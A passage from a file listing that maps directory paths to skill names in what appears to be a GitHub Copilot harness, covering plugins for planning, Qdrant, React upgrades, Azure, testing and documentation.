harness/github-copilot/plugins/project-planning/skills/breakdown-epic-arch - breakdown-epic-pm
harness/github-copilot/plugins/project-planning/skills/breakdown-epic-pm - breakdown-feature-implementation
harness/github-copilot/plugins/project-planning/skills/breakdown-feature-implementation - breakdown-feature-prd
harness/github-copilot/plugins/project-planning/skills/breakdown-feature-prd - create-github-issues-feature-from-implementation-plan
harness/github-copilot/plugins/project-planning/skills/create-github-issues-feature-from-implementation-plan - create-implementation-plan
harness/github-copilot/plugins/project-planning/skills/create-implementation-plan - create-technical-spike
harness/github-copilot/plugins/project-planning/skills/create-technical-spike - update-implementation-plan
harness/github-copilot/plugins/project-planning/skills/update-implementation-plan - python-mcp-server-generator
harness/github-copilot/plugins/python-mcp-development/skills/python-mcp-server-generator - qdrant-clients-sdk
harness/github-copilot/plugins/qdrant-development/skills/qdrant-clients-sdk - qdrant-deployment-options
harness/github-copilot/plugins/qdrant-development/skills/qdrant-deployment-options - qdrant-model-migration
harness/github-copilot/plugins/qdrant-development/skills/qdrant-model-migration - qdrant-monitoring
harness/github-copilot/plugins/qdrant-development/skills/qdrant-monitoring - qdrant-monitoring-debugging
harness/github-copilot/plugins/qdrant-development/skills/qdrant-monitoring/debugging - qdrant-monitoring-setup
harness/github-copilot/plugins/qdrant-development/skills/qdrant-monitoring/setup - qdrant-performance-optimization
harness/github-copilot/plugins/qdrant-development/skills/qdrant-performance-optimization - qdrant-indexing-performance-optimization
harness/github-copilot/plugins/qdrant-development/skills/qdrant-performance-optimization/indexing-performance-optimization - qdrant-memory-usage-optimization
harness/github-copilot/plugins/qdrant-development/skills/qdrant-performance-optimization/memory-usage-optimization - qdrant-search-speed-optimization
harness/github-copilot/plugins/qdrant-development/skills/qdrant-performance-optimization/search-speed-optimization - qdrant-scaling
harness/github-copilot/plugins/qdrant-development/skills/qdrant-scaling - qdrant-minimize-latency
harness/github-copilot/plugins/qdrant-development/skills/qdrant-scaling/minimize-latency - qdrant-scaling-data-volume
harness/github-copilot/plugins/qdrant-development/skills/qdrant-scaling/scaling-data-volume - qdrant-horizontal-scaling
harness/github-copilot/plugins/qdrant-development/skills/qdrant-scaling/scaling-data-volume/horizontal-scaling - qdrant-sliding-time-window
harness/github-copilot/plugins/qdrant-development/skills/qdrant-scaling/scaling-data-volume/sliding-time-window - qdrant-tenant-scaling
harness/github-copilot/plugins/qdrant-development/skills/qdrant-scaling/scaling-data-volume/tenant-scaling - qdrant-vertical-scaling
harness/github-copilot/plugins/qdrant-development/skills/qdrant-scaling/scaling-data-volume/vertical-scaling - qdrant-scaling-qps
harness/github-copilot/plugins/qdrant-development/skills/qdrant-scaling/scaling-qps - qdrant-scaling-query-volume
harness/github-copilot/plugins/qdrant-development/skills/qdrant-scaling/scaling-query-volume - qdrant-search-quality
harness/github-copilot/plugins/qdrant-development/skills/qdrant-search-quality - qdrant-search-quality-diagnosis
harness/github-copilot/plugins/qdrant-development/skills/qdrant-search-quality/diagnosis - qdrant-search-strategies
harness/github-copilot/plugins/qdrant-development/skills/qdrant-search-quality/search-strategies - qdrant-version-upgrade
harness/github-copilot/plugins/qdrant-development/skills/qdrant-version-upgrade - react-audit-grep-patterns
harness/github-copilot/plugins/react18-upgrade/skills/react-audit-grep-patterns - react18-batching-patterns
harness/github-copilot/plugins/react18-upgrade/skills/react18-batching-patterns - react18-dep-compatibility
harness/github-copilot/plugins/react18-upgrade/skills/react18-dep-compatibility - react18-enzyme-to-rtl
harness/github-copilot/plugins/react18-upgrade/skills/react18-enzyme-to-rtl - react18-legacy-context
harness/github-copilot/plugins/react18-upgrade/skills/react18-legacy-context - react18-lifecycle-patterns
harness/github-copilot/plugins/react18-upgrade/skills/react18-lifecycle-patterns - react18-string-refs
harness/github-copilot/plugins/react18-upgrade/skills/react18-string-refs - react19-concurrent-patterns
harness/github-copilot/plugins/react19-upgrade/skills/react19-concurrent-patterns - react19-source-patterns
harness/github-copilot/plugins/react19-upgrade/skills/react19-source-patterns - react19-test-patterns
harness/github-copilot/plugins/react19-upgrade/skills/react19-test-patterns - rhdh
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh - rhdh-jira
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira - rhdh-local
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local - add-educational-comments
harness/github-copilot/plugins/repo-documentation/skills/add-educational-comments - comment-code-generate-a-tutorial
harness/github-copilot/plugins/repo-documentation/skills/comment-code-generate-a-tutorial - convert-plaintext-to-md
harness/github-copilot/plugins/repo-documentation/skills/convert-plaintext-to-md - create-agentsmd
harness/github-copilot/plugins/repo-documentation/skills/create-agentsmd - create-llms
harness/github-copilot/plugins/repo-documentation/skills/create-llms - create-readme
harness/github-copilot/plugins/repo-documentation/skills/create-readme - create-tldr-page
harness/github-copilot/plugins/repo-documentation/skills/create-tldr-page - csharp-docs
harness/github-copilot/plugins/repo-documentation/skills/csharp-docs - documentation-writer
harness/github-copilot/plugins/repo-documentation/skills/documentation-writer - mkdocs-translations
harness/github-copilot/plugins/repo-documentation/skills/mkdocs-translations - oo-component-documentation
harness/github-copilot/plugins/repo-documentation/skills/oo-component-documentation - tldr-prompt
harness/github-copilot/plugins/repo-documentation/skills/tldr-prompt - update-llms
harness/github-copilot/plugins/repo-documentation/skills/update-llms - update-markdown-file-index
harness/github-copilot/plugins/repo-documentation/skills/update-markdown-file-index - write-coding-standards-from-file
harness/github-copilot/plugins/repo-documentation/skills/write-coding-standards-from-file - roundup
harness/github-copilot/plugins/roundup/skills/roundup - roundup-setup
harness/github-copilot/plugins/roundup/skills/roundup-setup - ruby-mcp-server-generator
harness/github-copilot/plugins/ruby-mcp-development/skills/ruby-mcp-server-generator - rust-mcp-server-generator
harness/github-copilot/plugins/rust-mcp-development/skills/rust-mcp-server-generator - salesforce-apex-quality
harness/github-copilot/plugins/salesforce-development/skills/salesforce-apex-quality - salesforce-component-standards
harness/github-copilot/plugins/salesforce-development/skills/salesforce-component-standards - salesforce-flow-design
harness/github-copilot/plugins/salesforce-development/skills/salesforce-flow-design - ai-prompt-engineering-safety-review
harness/github-copilot/plugins/security-best-practices/skills/ai-prompt-engineering-safety-review - generate-image
harness/github-copilot/plugins/skill-image-gen/skills/generate-image - breakdown-plan
harness/github-copilot/plugins/spec-driven-development/skills/breakdown-plan - breakdown-test
harness/github-copilot/plugins/spec-driven-development/skills/breakdown-test - create-github-action-workflow-specification
harness/github-copilot/plugins/spec-driven-development/skills/create-github-action-workflow-specification - create-github-issue-feature-from-specification
harness/github-copilot/plugins/spec-driven-development/skills/create-github-issue-feature-from-specification - create-github-issues-for-unmet-specification-requirements
harness/github-copilot/plugins/spec-driven-development/skills/create-github-issues-for-unmet-specification-requirements - create-specification
harness/github-copilot/plugins/spec-driven-development/skills/create-specification - first-ask
harness/github-copilot/plugins/spec-driven-development/skills/first-ask - gen-specs-as-issues
harness/github-copilot/plugins/spec-driven-development/skills/gen-specs-as-issues - prd
harness/github-copilot/plugins/spec-driven-development/skills/prd - update-specification
harness/github-copilot/plugins/spec-driven-development/skills/update-specification - structured-autonomy-generate
harness/github-copilot/plugins/structured-autonomy/skills/structured-autonomy-generate - structured-autonomy-implement
harness/github-copilot/plugins/structured-autonomy/skills/structured-autonomy-implement - structured-autonomy-plan
harness/github-copilot/plugins/structured-autonomy/skills/structured-autonomy-plan - swift-mcp-server-generator
harness/github-copilot/plugins/swift-mcp-development/skills/swift-mcp-server-generator - create-technical-spike
harness/github-copilot/plugins/technical-spike/skills/create-technical-spike - ai-prompt-engineering-safety-review
harness/github-copilot/plugins/testing-automation/skills/ai-prompt-engineering-safety-review - csharp-nunit
harness/github-copilot/plugins/testing-automation/skills/csharp-nunit - java-junit
harness/github-copilot/plugins/testing-automation/skills/java-junit - javascript-typescript-jest
harness/github-copilot/plugins/testing-automation/skills/javascript-typescript-jest - pester-migration
harness/github-copilot/plugins/testing-automation/skills/pester-migration - pester-should-migration
harness/github-copilot/plugins/testing-automation/skills/pester-should-migration - playwright-automation-fill-in-form
harness/github-copilot/plugins/testing-automation/skills/playwright-automation-fill-in-form - playwright-explore-website
harness/github-copilot/plugins/testing-automation/skills/playwright-explore-website - playwright-generate-test
harness/github-copilot/plugins/testing-automation/skills/playwright-generate-test - pytest-coverage
harness/github-copilot/plugins/testing-automation/skills/pytest-coverage - scoutqa-test
harness/github-copilot/plugins/testing-automation/skills/scoutqa-test - unit-test-vue-pinia
harness/github-copilot/plugins/testing-automation/skills/unit-test-vue-pinia - webapp-testing
harness/github-copilot/plugins/testing-automation/skills/webapp-testing - javascript-typescript-jest
harness/github-copilot/plugins/testing-frameworks/skills/javascript-typescript-jest - pester-migration
harness/github-copilot/plugins/testing-frameworks/skills/pester-migration - pester-should-migration
harness/github-copilot/plugins/testing-frameworks/skills/pester-should-migration - pytest-coverage
harness/github-copilot/plugins/testing-frameworks/skills/pytest-coverage - scoutqa-test
harness/github-copilot/plugins/testing-frameworks/skills/scoutqa-test - unit-test-vue-pinia
harness/github-copilot/plugins/testing-frameworks/skills/unit-test-vue-pinia - bench-read
harness/github-copilot/plugins/the-workshop/skills/bench-read - desk-journal
harness/github-copilot/plugins/the-workshop/skills/desk-journal - desk-open
harness/github-copilot/plugins/the-workshop/skills/desk-open - signal-write
harness/github-copilot/plugins/the-workshop/skills/signal-write - workshop-create
harness/github-copilot/plugins/the-workshop/skills/workshop-create - typescript-mcp-server-generator
harness/github-copilot/plugins/typescript-mcp-development/skills/typescript-mcp-server-generator - typespec-api-operations
harness/github-copilot/plugins/typespec-m365-copilot/skills/typespec-api-operations - typespec-create-agent
harness/github-copilot/plugins/typespec-m365-copilot/skills/typespec-create-agent - typespec-create-api-plugin
harness/github-copilot/plugins/typespec-m365-copilot/skills/typespec-create-api-plugin - anti-ui-slop
harness/github-copilot/plugins/uizze/skills/anti-ui-slop - canvas-design
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design - penpot-uiux-design
harness/github-copilot/plugins/ux-design-tooling/skills/penpot-uiux-design - image-annotations
harness/github-copilot/plugins/visual-pr/skills/image-annotations - pr-screenshots
harness/github-copilot/plugins/visual-pr/skills/pr-screenshots - screen-recording
harness/github-copilot/plugins/visual-pr/skills/screen-recording - ui-screenshots
harness/github-copilot/plugins/visual-pr/skills/ui-screenshots - chrome-devtools
harness/github-copilot/plugins/web-framework-development/skills/chrome-devtools - gsap-framer-scroll-animation
harness/github-copilot/plugins/web-framework-development/skills/gsap-framer-scroll-animation - markstream-install
harness/github-copilot/plugins/web-framework-development/skills/markstream-install - next-intl-add-language
harness/github-copilot/plugins/web-framework-development/skills/next-intl-add-language - react-container-presentation-component
harness/github-copilot/plugins/web-framework-development/skills/react-container-presentation-component - acquire-codebase-knowledge
harness/github-copilot/skills/acquire-codebase-knowledge - acreadiness-assess
harness/github-copilot/skills/acreadiness-assess - acreadiness-generate-instructions
harness/github-copilot/skills/acreadiness-generate-instructions - acreadiness-policy
harness/github-copilot/skills/acreadiness-policy - ad-campaign-analyzer
harness/github-copilot/skills/ad-campaign-analyzer - adabas-postgresql-migration
harness/github-copilot/skills/adabas-postgresql-migration - add-educational-comments
harness/github-copilot/skills/add-educational-comments - adobe-illustrator-scripting
harness/github-copilot/skills/adobe-illustrator-scripting - agent-governance
harness/github-copilot/skills/agent-governance - agent-owasp-compliance
harness/github-copilot/skills/agent-owasp-compliance - agent-skill-stack
harness/github-copilot/skills/agent-skill-stack - agent-supply-chain
harness/github-copilot/skills/agent-supply-chain - agentic-eval
harness/github-copilot/skills/agentic-eval - ai-prompt-engineering-safety-review
harness/github-copilot/skills/ai-prompt-engineering-safety-review - ai-ready
harness/github-copilot/skills/ai-ready - ai-team-orchestration
harness/github-copilot/skills/ai-team-orchestration - anti-ui-slop
harness/github-copilot/skills/anti-ui-slop - api-testing
harness/github-copilot/skills/api-testing - apim-ai-gateway
harness/github-copilot/skills/apim-ai-gateway - appinsights-instrumentation
harness/github-copilot/skills/appinsights-instrumentation - apple-appstore-reviewer
harness/github-copilot/skills/apple-appstore-reviewer - arch-linux-triage
harness/github-copilot/skills/arch-linux-triage - architecture-blueprint-generator
harness/github-copilot/skills/architecture-blueprint-generator - arduino-azure-iot-edge-integration
harness/github-copilot/skills/arduino-azure-iot-edge-integration - arize-ai-provider-integration
harness/github-copilot/skills/arize-ai-provider-integration - arize-annotation
harness/github-copilot/skills/arize-annotation - arize-dataset
harness/github-copilot/skills/arize-dataset - arize-evaluator
harness/github-copilot/skills/arize-evaluator - arize-experiment
harness/github-copilot/skills/arize-experiment - arize-instrumentation
harness/github-copilot/skills/arize-instrumentation - arize-link
harness/github-copilot/skills/arize-link - arize-prompt-optimization
harness/github-copilot/skills/arize-prompt-optimization - arize-trace
harness/github-copilot/skills/arize-trace - aspire
harness/github-copilot/skills/aspire - aspnet-minimal-api-openapi
harness/github-copilot/skills/aspnet-minimal-api-openapi - audit-integrity
harness/github-copilot/skills/audit-integrity - automate-this
harness/github-copilot/skills/automate-this - autoresearch
harness/github-copilot/skills/autoresearch - aws-cdk-python-setup
harness/github-copilot/skills/aws-cdk-python-setup - aws-cloudwatch-investigation
harness/github-copilot/skills/aws-cloudwatch-investigation - aws-cost-optimize
harness/github-copilot/skills/aws-cost-optimize - aws-resource-health-diagnose
harness/github-copilot/skills/aws-resource-health-diagnose - aws-resource-query
harness/github-copilot/skills/aws-resource-query - aws-well-architected-review
harness/github-copilot/skills/aws-well-architected-review - az-cost-optimize
harness/github-copilot/skills/az-cost-optimize - azure-agentic-architecture-patterns
harness/github-copilot/skills/azure-agentic-architecture-patterns - azure-ai
harness/github-copilot/skills/azure-ai - azure-airunway-aks-setup
harness/github-copilot/skills/azure-airunway-aks-setup - azure-api-center
harness/github-copilot/skills/azure-api-center - azure-app-onboard
harness/github-copilot/skills/azure-app-onboard - azure-app-onboard-prereq
harness/github-copilot/skills/azure-app-onboard-prereq - azure-architecture-autopilot
harness/github-copilot/skills/azure-architecture-autopilot - azure-argocd-cli
harness/github-copilot/skills/azure-argocd-cli - azure-cli
harness/github-copilot/skills/azure-cli - azure-cloud-migrate
harness/github-copilot/skills/azure-cloud-migrate - azure-compliance
harness/github-copilot/skills/azure-compliance - azure-compute
harness/github-copilot/skills/azure-compute - azure-container-registry-cli
harness/github-copilot/skills/azure-container-registry-cli - azure-cost
harness/github-copilot/skills/azure-cost - azure-deploy
harness/github-copilot/skills/azure-deploy - azure-deployment-preflight
harness/github-copilot/skills/azure-deployment-preflight - azure-developer-cli
harness/github-copilot/skills/azure-developer-cli - azure-devops-cli
harness/github-copilot/skills/azure-devops-cli - azure-diagnostics
harness/github-copilot/skills/azure-diagnostics - azure-draw-io-diagram-generator
harness/github-copilot/skills/azure-draw-io-diagram-generator - azure-enterprise-infra-planner
harness/github-copilot/skills/azure-enterprise-infra-planner - azure-entra-agent-id
harness/github-copilot/skills/azure-entra-agent-id - azure-entra-app-registration
harness/github-copilot/skills/azure-entra-app-registration - azure-helm-cli
harness/github-copilot/skills/azure-helm-cli - azure-infrastructure
harness/github-copilot/skills/azure-infrastructure - azure-kubectl-cli
harness/github-copilot/skills/azure-kubectl-cli - azure-kubernetes
harness/github-copilot/skills/azure-kubernetes - azure-kubernetes-app-deploy
harness/github-copilot/skills/azure-kubernetes-app-deploy - azure-kubernetes-automatic-readiness
harness/github-copilot/skills/azure-kubernetes-automatic-readiness - azure-kusto
harness/github-copilot/skills/azure-kusto - azure-kusto-graph
harness/github-copilot/skills/azure-kusto-graph - azure-kusto-irql
harness/github-copilot/skills/azure-kusto-irql - azure-kusto-irql-graph
harness/github-copilot/skills/azure-kusto-irql-graph - azure-managed-redis-cache
harness/github-copilot/skills/azure-managed-redis-cache - azure-messaging
harness/github-copilot/skills/azure-messaging - azure-observability-stack
harness/github-copilot/skills/azure-observability-stack - azure-postgre-database-management
harness/github-copilot/skills/azure-postgre-database-management - azure-prepare
harness/github-copilot/skills/azure-prepare - azure-pricing
harness/github-copilot/skills/azure-pricing - azure-quotas
harness/github-copilot/skills/azure-quotas - azure-reliability
harness/github-copilot/skills/azure-reliability - azure-resource-health-diagnose
harness/github-copilot/skills/azure-resource-health-diagnose - azure-resource-lookup
harness/github-copilot/skills/azure-resource-lookup - azure-resource-visualizer
harness/github-copilot/skills/azure-resource-visualizer - azure-role-selector
harness/github-copilot/skills/azure-role-selector - azure-scaffold-wizard
harness/github-copilot/skills/azure-scaffold-wizard - azure-smart-city-iot-solution-builder
harness/github-copilot/skills/azure-smart-city-iot-solution-builder - azure-static-web-apps
harness/github-copilot/skills/azure-static-web-apps - azure-storage
harness/github-copilot/skills/azure-storage - azure-terraform-cli
harness/github-copilot/skills/azure-terraform-cli - azure-terraform-terratest-module-testing
harness/github-copilot/skills/azure-terraform-terratest-module-testing - azure-upgrade
harness/github-copilot/skills/azure-upgrade - azure-validate
harness/github-copilot/skills/azure-validate - azure-well-architected-review
harness/github-copilot/skills/azure-well-architected-review - backstage-plugin-builder
harness/github-copilot/skills/backstage-plugin-builder - batch-files
harness/github-copilot/skills/batch-files - bench-read
harness/github-copilot/skills/bench-read - bigquery-pipeline-audit
harness/github-copilot/skills/bigquery-pipeline-audit - boost-prompt
harness/github-copilot/skills/boost-prompt - brag-sheet
harness/github-copilot/skills/brag-sheet - breakdown-epic-arch
harness/github-copilot/skills/breakdown-epic-arch - breakdown-epic-pm
harness/github-copilot/skills/breakdown-epic-pm - breakdown-feature-implementation
harness/github-copilot/skills/breakdown-feature-implementation - breakdown-feature-prd
harness/github-copilot/skills/breakdown-feature-prd - breakdown-plan
harness/github-copilot/skills/breakdown-plan - breakdown-test
harness/github-copilot/skills/breakdown-test - bug-receipt
harness/github-copilot/skills/bug-receipt - bug-reproduction-brief
harness/github-copilot/skills/bug-reproduction-brief - build-evidence-map
harness/github-copilot/skills/build-evidence-map - canvas-design
harness/github-copilot/skills/canvas-design - centos-linux-triage
harness/github-copilot/skills/centos-linux-triage - chaos-engineering
harness/github-copilot/skills/chaos-engineering - chrome-devtools
harness/github-copilot/skills/chrome-devtools - cli-mastery
harness/github-copilot/skills/cli-mastery - cloud-design-patterns
harness/github-copilot/skills/cloud-design-patterns - cobol-db2-analysis
harness/github-copilot/skills/cobol-db2-analysis - code-exemplars-blueprint-generator
harness/github-copilot/skills/code-exemplars-blueprint-generator - code-modernization
harness/github-copilot/skills/code-modernization - code-tour
harness/github-copilot/skills/code-tour - codebase-memory-mcp
harness/github-copilot/skills/codebase-memory-mcp - codeql
harness/github-copilot/skills/codeql - comment-code-generate-a-tutorial
harness/github-copilot/skills/comment-code-generate-a-tutorial - commit-message-storyteller
harness/github-copilot/skills/commit-message-storyteller - competitor-ad-intelligence
harness/github-copilot/skills/competitor-ad-intelligence - containerize-aspnet-framework
harness/github-copilot/skills/containerize-aspnet-framework - containerize-aspnetcore
harness/github-copilot/skills/containerize-aspnetcore - content-management-systems
harness/github-copilot/skills/content-management-systems - context-map
harness/github-copilot/skills/context-map - contract-testing
harness/github-copilot/skills/contract-testing - conventional-branch
harness/github-copilot/skills/conventional-branch - convert-excel-to-md
harness/github-copilot/skills/convert-excel-to-md - convert-pdf-to-md
harness/github-copilot/skills/convert-pdf-to-md - convert-plaintext-to-md
harness/github-copilot/skills/convert-plaintext-to-md - convert-word-to-md
harness/github-copilot/skills/convert-word-to-md - copilot-cli-quickstart
harness/github-copilot/skills/copilot-cli-quickstart - copilot-instructions-blueprint-generator
harness/github-copilot/skills/copilot-instructions-blueprint-generator - copilot-plugin-authoring
harness/github-copilot/skills/copilot-plugin-authoring - copilot-pr-autopilot
harness/github-copilot/skills/copilot-pr-autopilot - copilot-primitive-authoring
harness/github-copilot/skills/copilot-primitive-authoring - copilot-sdk
harness/github-copilot/skills/copilot-sdk - copilot-spaces
harness/github-copilot/skills/copilot-spaces - copilot-usage-metrics
harness/github-copilot/skills/copilot-usage-metrics - cosmosdb-datamodeling
harness/github-copilot/skills/cosmosdb-datamodeling - create-agentsmd
harness/github-copilot/skills/create-agentsmd - create-architectural-decision-record
harness/github-copilot/skills/create-architectural-decision-record - create-github-action-workflow-specification
harness/github-copilot/skills/create-github-action-workflow-specification - create-github-issue-feature-from-specification
harness/github-copilot/skills/create-github-issue-feature-from-specification - create-github-issues-feature-from-implementation-plan
harness/github-copilot/skills/create-github-issues-feature-from-implementation-plan - create-github-issues-for-unmet-specification-requirements
harness/github-copilot/skills/create-github-issues-for-unmet-specification-requirements - create-implementation-plan
harness/github-copilot/skills/create-implementation-plan - create-llms
harness/github-copilot/skills/create-llms - create-readme
harness/github-copilot/skills/create-readme - create-specification
harness/github-copilot/skills/create-specification - create-spring-boot-java-project
harness/github-copilot/skills/create-spring-boot-java-project - create-spring-boot-kotlin-project
harness/github-copilot/skills/create-spring-boot-kotlin-project - create-technical-spike
harness/github-copilot/skills/create-technical-spike - create-tldr-page
harness/github-copilot/skills/create-tldr-page - creating-oracle-to-postgres-master-migration-plan
harness/github-copilot/skills/creating-oracle-to-postgres-master-migration-plan - creating-oracle-to-postgres-migration-bug-report
harness/github-copilot/skills/creating-oracle-to-postgres-migration-bug-report - creating-oracle-to-postgres-migration-integration-tests
harness/github-copilot/skills/creating-oracle-to-postgres-migration-integration-tests - csharp-async
harness/github-copilot/skills/csharp-async - csharp-docs
harness/github-copilot/skills/csharp-docs - csharp-mstest
harness/github-copilot/skills/csharp-mstest - csharp-nunit
harness/github-copilot/skills/csharp-nunit - csharp-tunit
harness/github-copilot/skills/csharp-tunit - csharp-xunit
harness/github-copilot/skills/csharp-xunit - daily-focus-board
harness/github-copilot/skills/daily-focus-board - daily-prep
harness/github-copilot/skills/daily-prep - data-breach-blast-radius
harness/github-copilot/skills/data-breach-blast-radius - datanalysis-credit-risk
harness/github-copilot/skills/datanalysis-credit-risk - dataverse-python-advanced-patterns
harness/github-copilot/skills/dataverse-python-advanced-patterns - dataverse-python-production-code
harness/github-copilot/skills/dataverse-python-production-code - dataverse-python-quickstart
harness/github-copilot/skills/dataverse-python-quickstart - dataverse-python-usecase-builder
harness/github-copilot/skills/dataverse-python-usecase-builder - db2-postgresql-migration
harness/github-copilot/skills/db2-postgresql-migration - debian-linux-triage
harness/github-copilot/skills/debian-linux-triage - declarative-agents
harness/github-copilot/skills/declarative-agents - dependabot
harness/github-copilot/skills/dependabot - desk-journal
harness/github-copilot/skills/desk-journal - desk-open
harness/github-copilot/skills/desk-open - devops-rollout-plan
harness/github-copilot/skills/devops-rollout-plan - diagnose
harness/github-copilot/skills/diagnose - doc-and-modernize
harness/github-copilot/skills/doc-and-modernize - documentation-writer
harness/github-copilot/skills/documentation-writer - dotnet-best-practices
harness/github-copilot/skills/dotnet-best-practices - dotnet-design-pattern-review
harness/github-copilot/skills/dotnet-design-pattern-review - dotnet-linux-modernization
harness/github-copilot/skills/dotnet-linux-modernization - dotnet-mcp-builder
harness/github-copilot/skills/dotnet-mcp-builder - dotnet-modernization-assessment
harness/github-copilot/skills/dotnet-modernization-assessment - dotnet-timezone
harness/github-copilot/skills/dotnet-timezone - dotnet-upgrade
harness/github-copilot/skills/dotnet-upgrade - dotnet-windows-appservice
harness/github-copilot/skills/dotnet-windows-appservice - doublecheck
harness/github-copilot/skills/doublecheck - draw-io-diagram-generator
harness/github-copilot/skills/draw-io-diagram-generator - drawio
harness/github-copilot/skills/drawio - editorconfig
harness/github-copilot/skills/editorconfig - ef-core
harness/github-copilot/skills/ef-core - efcore-d2-db-diagram
harness/github-copilot/skills/efcore-d2-db-diagram - em-dash
harness/github-copilot/skills/em-dash - email-drafter
harness/github-copilot/skills/email-drafter - entra-agent-user
harness/github-copilot/skills/entra-agent-user - eval-driven-dev
harness/github-copilot/skills/eval-driven-dev - exam-ready
harness/github-copilot/skills/exam-ready - excalidraw-diagram-generator
harness/github-copilot/skills/excalidraw-diagram-generator - eyeball
harness/github-copilot/skills/eyeball - fabric-lakehouse
harness/github-copilot/skills/fabric-lakehouse - fedora-linux-triage
harness/github-copilot/skills/fedora-linux-triage - finalize-agent-prompt
harness/github-copilot/skills/finalize-agent-prompt - finnish-humanizer
harness/github-copilot/skills/finnish-humanizer - first-ask
harness/github-copilot/skills/first-ask - flowstudio-power-automate-build
harness/github-copilot/skills/flowstudio-power-automate-build - flowstudio-power-automate-debug
harness/github-copilot/skills/flowstudio-power-automate-debug - flowstudio-power-automate-governance
harness/github-copilot/skills/flowstudio-power-automate-governance - flowstudio-power-automate-mcp
harness/github-copilot/skills/flowstudio-power-automate-mcp - flowstudio-power-automate-monitoring
harness/github-copilot/skills/flowstudio-power-automate-monitoring - fluentui-blazor
harness/github-copilot/skills/fluentui-blazor - folder-structure-blueprint-generator
harness/github-copilot/skills/folder-structure-blueprint-generator - foundry-agent-sync
harness/github-copilot/skills/foundry-agent-sync - foundry-hosted-agent-copilotkit
harness/github-copilot/skills/foundry-hosted-agent-copilotkit - freecad-scripts
harness/github-copilot/skills/freecad-scripts - from-the-other-side-anitta
harness/github-copilot/skills/from-the-other-side-anitta - from-the-other-side-quinn
harness/github-copilot/skills/from-the-other-side-quinn - from-the-other-side-vega
harness/github-copilot/skills/from-the-other-side-vega - from-the-other-side-wiggins
harness/github-copilot/skills/from-the-other-side-wiggins - frontend-accessibility
harness/github-copilot/skills/frontend-accessibility - frontend-backend-integration
harness/github-copilot/skills/frontend-backend-integration - frontend-component-testing
harness/github-copilot/skills/frontend-component-testing - frontend-conversational-ui
harness/github-copilot/skills/frontend-conversational-ui - frontend-dashboard-visualization
harness/github-copilot/skills/frontend-dashboard-visualization - frontend-discoverability-assets
harness/github-copilot/skills/frontend-discoverability-assets - frontend-experience-core
harness/github-copilot/skills/frontend-experience-core - frontend-form-interactions
harness/github-copilot/skills/frontend-form-interactions - frontend-mobile-desktop-testing
harness/github-copilot/skills/frontend-mobile-desktop-testing - frontend-project-setup
harness/github-copilot/skills/frontend-project-setup - frontend-release-quality-gate
harness/github-copilot/skills/frontend-release-quality-gate - frontend-requirements-and-stories
harness/github-copilot/skills/frontend-requirements-and-stories - frontend-responsive-adaptation
harness/github-copilot/skills/frontend-responsive-adaptation - frontend-test-strategy
harness/github-copilot/skills/frontend-test-strategy - frontend-visual-e2e-testing
harness/github-copilot/skills/frontend-visual-e2e-testing - frontend-visual-system
harness/github-copilot/skills/frontend-visual-system - game-engine
harness/github-copilot/skills/game-engine - gdpr-compliant
harness/github-copilot/skills/gdpr-compliant - gen-specs-as-issues
harness/github-copilot/skills/gen-specs-as-issues - generate-custom-instructions-from-codebase
harness/github-copilot/skills/generate-custom-instructions-from-codebase - generate-image
harness/github-copilot/skills/generate-image - geofeed-tuner
harness/github-copilot/skills/geofeed-tuner - gh-attach
harness/github-copilot/skills/gh-attach - git-commit
harness/github-copilot/skills/git-commit - git-flow-branch-creator
harness/github-copilot/skills/git-flow-branch-creator - github-actions-efficiency
harness/github-copilot/skills/github-actions-efficiency - github-actions-hardening
harness/github-copilot/skills/github-actions-hardening - github-actions-runtime-upgrade-conventions
harness/github-copilot/skills/github-actions-runtime-upgrade-conventions - github-codespaces-efficiency
harness/github-copilot/skills/github-codespaces-efficiency - github-copilot-starter
harness/github-copilot/skills/github-copilot-starter - github-issues
harness/github-copilot/skills/github-issues - github-release
harness/github-copilot/skills/github-release - gitmoji
harness/github-copilot/skills/gitmoji - go-mcp-server-generator
harness/github-copilot/skills/go-mcp-server-generator - gsap-framer-scroll-animation
harness/github-copilot/skills/gsap-framer-scroll-animation - gtm-0-to-1-launch
harness/github-copilot/skills/gtm-0-to-1-launch - gtm-ai-gtm
harness/github-copilot/skills/gtm-ai-gtm - gtm-board-and-investor-communication
harness/github-copilot/skills/gtm-board-and-investor-communication - gtm-developer-ecosystem
harness/github-copilot/skills/gtm-developer-ecosystem - gtm-enterprise-account-planning
harness/github-copilot/skills/gtm-enterprise-account-planning - gtm-enterprise-onboarding
harness/github-copilot/skills/gtm-enterprise-onboarding - gtm-operating-cadence
harness/github-copilot/skills/gtm-operating-cadence - gtm-partnership-architecture
harness/github-copilot/skills/gtm-partnership-architecture - gtm-positioning-strategy
harness/github-copilot/skills/gtm-positioning-strategy - gtm-product-led-growth
harness/github-copilot/skills/gtm-product-led-growth - gtm-technical-product-pricing
harness/github-copilot/skills/gtm-technical-product-pricing - harness-engineering
harness/github-copilot/skills/harness-engineering - image-annotations
harness/github-copilot/skills/image-annotations - image-manipulation-image-magick
harness/github-copilot/skills/image-manipulation-image-magick - impediment-prioritization
harness/github-copilot/skills/impediment-prioritization - import-infrastructure-as-code
harness/github-copilot/skills/import-infrastructure-as-code - incident-postmortem
harness/github-copilot/skills/incident-postmortem - integrate-context-matic
harness/github-copilot/skills/integrate-context-matic - issue-fields-migration
harness/github-copilot/skills/issue-fields-migration - java-add-graalvm-native-image-support
harness/github-copilot/skills/java-add-graalvm-native-image-support - java-docs
harness/github-copilot/skills/java-docs - java-helidon
harness/github-copilot/skills/java-helidon - java-junit
harness/github-copilot/skills/java-junit - java-mcp-server-generator
harness/github-copilot/skills/java-mcp-server-generator - java-refactoring-extract-method
harness/github-copilot/skills/java-refactoring-extract-method - java-refactoring-remove-parameter
harness/github-copilot/skills/java-refactoring-remove-parameter - java-springboot
harness/github-copilot/skills/java-springboot - javascript-typescript-jest
harness/github-copilot/skills/javascript-typescript-jest - javax-to-jakarta-migration
harness/github-copilot/skills/javax-to-jakarta-migration - kotlin-mcp-server-generator
harness/github-copilot/skills/kotlin-mcp-server-generator - kotlin-springboot
harness/github-copilot/skills/kotlin-springboot - landing-page-conversion-audit
harness/github-copilot/skills/landing-page-conversion-audit - latchshot-page-capture
harness/github-copilot/skills/latchshot-page-capture - legacy-business-rule-extraction
harness/github-copilot/skills/legacy-business-rule-extraction - legacy-characterization-testing
